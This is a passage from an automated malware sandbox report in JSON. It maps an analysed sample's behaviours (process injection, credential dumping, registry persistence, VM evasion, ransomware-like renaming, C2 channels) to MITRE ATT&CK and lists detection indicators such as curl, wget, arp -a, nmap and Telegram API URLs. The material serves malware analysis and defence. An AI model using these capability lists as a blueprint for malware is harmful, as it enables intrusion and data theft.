information"},{"type":"suspicious","value":"Attempts to retrieve geographical location information"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Able to execute xargs command"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Systemctl","attack_id":"T1569.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/003","identifiers":[{"type":"informative","value":"Able to use systemctl command to control system services"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"},{"type":"suspicious","value":"Contains ability to scan the ARP cache"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Able to query registry keys (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Unix Shell","attack_id":"T1059.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/004","identifiers":[{"type":"informative","value":"Able to execute shell command"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Executes WMI queries"},{"type":"suspicious","value":"Able to delete volume snapshots"},{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Executes WMI queries known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Reconnaissance","technique":"Vulnerability Scanning","attack_id":"T1595.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1595/002","identifiers":[{"type":"informative","value":"Able to use vulnerability or port scanning tools"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Resource Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Execution","technique":"Python","attack_id":"T1059.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/006","identifiers":[{"type":"informative","value":"Executes a Python script"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"suspicious","value":"Uses REG.EXE to add/load/import registry data"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"type":"informative","value":"References user shell folders registry key string"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"},{"type":"suspicious","value":"Spawned processes are likely due to an injection"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Credential Access","technique":"Private Keys","attack_id":"T1552.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1552/004","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"Possibly checks for known debuggers/analysis tools"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"References Windows LDAP client module"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Lateral Movement","technique":"SMB/Windows Admin Shares","attack_id":"T1021.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/002","identifiers":[{"type":"malicious","value":"Sends network traffic on the SMB port"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Remote Access Tools","attack_id":"T1219","attack_id_wiki":"https://attack.mitre.org/techniques/T1219","identifiers":[{"type":"informative","value":"Able to use IDE tunneling for remote connection"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"References OpenSSL library string"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"File Transfer Protocols","attack_id":"T1071.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/002","identifiers":[{"type":"malicious","value":"Sends network traffic on the official file transfer ports"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Asymmetric Encrypted Non-C2 Protocol","attack_id":"T1048.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/002","identifiers":[{"type":"informative","value":"Contains references to SFTP or FTPS file transfer"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"suspicious","value":"Writes multiple files with double extensions (often indicator of ransomware infection)"},{"type":"informative","value":"Contains reference to crypto DLLs"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"},{"type":"suspicious","value":"Renames multiple files (often indicator of ransomware infection)"},{"type":"suspicious","value":"Drops PE files with misleading file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Selective Exclusion","attack_id":"T1679","attack_id_wiki":"https://attack.mitre.org/techniques/T1679","identifiers":[{"type":"informative","value":"Attempts to rename multiple files with a new extension, avoiding critical system files"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Hidden Files and Directories","attack_id":"T1564.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/001","identifiers":[{"type":"malicious","value":"Attempts to change the attributes of the files"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Compression","attack_id":"T1027.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/015","sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Stealth","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Contains native function calls (syscalls strings)","description":"$36","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-5000","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$37","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Able to execute shell command","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.004","id":"string-10028","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to start a process using Python","description":"file/memory contains long string with (Indicator: \".popen(\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-264","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Found string that contains outlook file extensions .ost/.pst","description":"$38","origin":"sample.bin","mitre_attack_id":"T1114.001","id":"string-179","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1007","id":"string-191","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"file/memory contains long string with (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Found User Agent related strings","description":"file/memory contains long string with (Indicator: \"user-agent: \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"mozilla/5.0 (\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-127","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Able to execute xargs command","description":"file/memory contains long string with (Indicator: \"xargs \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059","id":"string-5078","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Able to delete files/directories","description":"file/memory contains long string(Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-10003","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to executes commands or batch file","description":"file/memory contains long string with (Indicator: \"cmd.exe /c\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-174","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"file/memory contains long string with (Indicator: \"StartService\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-209","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to download payload","description":"file/memory contains long string with (Indicator: \"curl\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-10039","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to transfer data using curl","description":"$39","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-576","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to download payload via Wget","description":"file/memory contains long string with (Indicator: \"wget \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-5075","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to identify remote systems","description":"file/memory contains long string with (Indicator: \"\"ping\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1018","id":"string-417","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to use cURL command for network data transfer","description":"file/memory contains long string with (Indicator: \"curl \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-5074","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3a","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"file/memory contains long string with (Indicator: \"HTTP/1.1\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"HTTP/1.0\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071.001","id":"string-457","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Able to monitor socket connection","description":"file/memory contains long string with (Indicator: \"setsockopt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1205.002","id":"string-879","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set the socket options (syscall string)","description":"$3b","origin":"sample.bin","mitre_attack_id":"T1205.002","id":"string-5002","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1571","id":"string-419","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://kubernetes.default.svc\", Found HTTPS url \"https://api.telegram.org\", Found HTTPS url \"https://management.azure.com\", Found HTTPS url \"https://raw.githubusercontent.com\"","origin":"sample.bin","mitre_attack_id":"T1573","id":"string-98","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Network Related","name":"Contains ability to scan the ARP cache","description":"file/memory contains long string with (Indicator: \"arp -a\"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"\"arp \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1018","id":"string-363","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Able to use vulnerability or port scanning tools","description":"file/memory contains long string with (Indicator: \"nmap -o\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1595.002","id":"string-996","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"informative","category":"Network Related","name":"Contains references to network communication API (string)","description":"file/memory contains long string with (Indicator: \" connect \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"gethostbyname\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-899","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6af78664c4061ee514026a77"}]},{"level":"suspicious","category":"Network Related","name":"Able to retrieve local network connections","description":"file/memory contains long string with (Indicator: \"netsh wlan \"; Source: \"sample.bin\"), file/memory contains long string with (Indicator: \"netsh wl\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1049","id":"string-361","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with 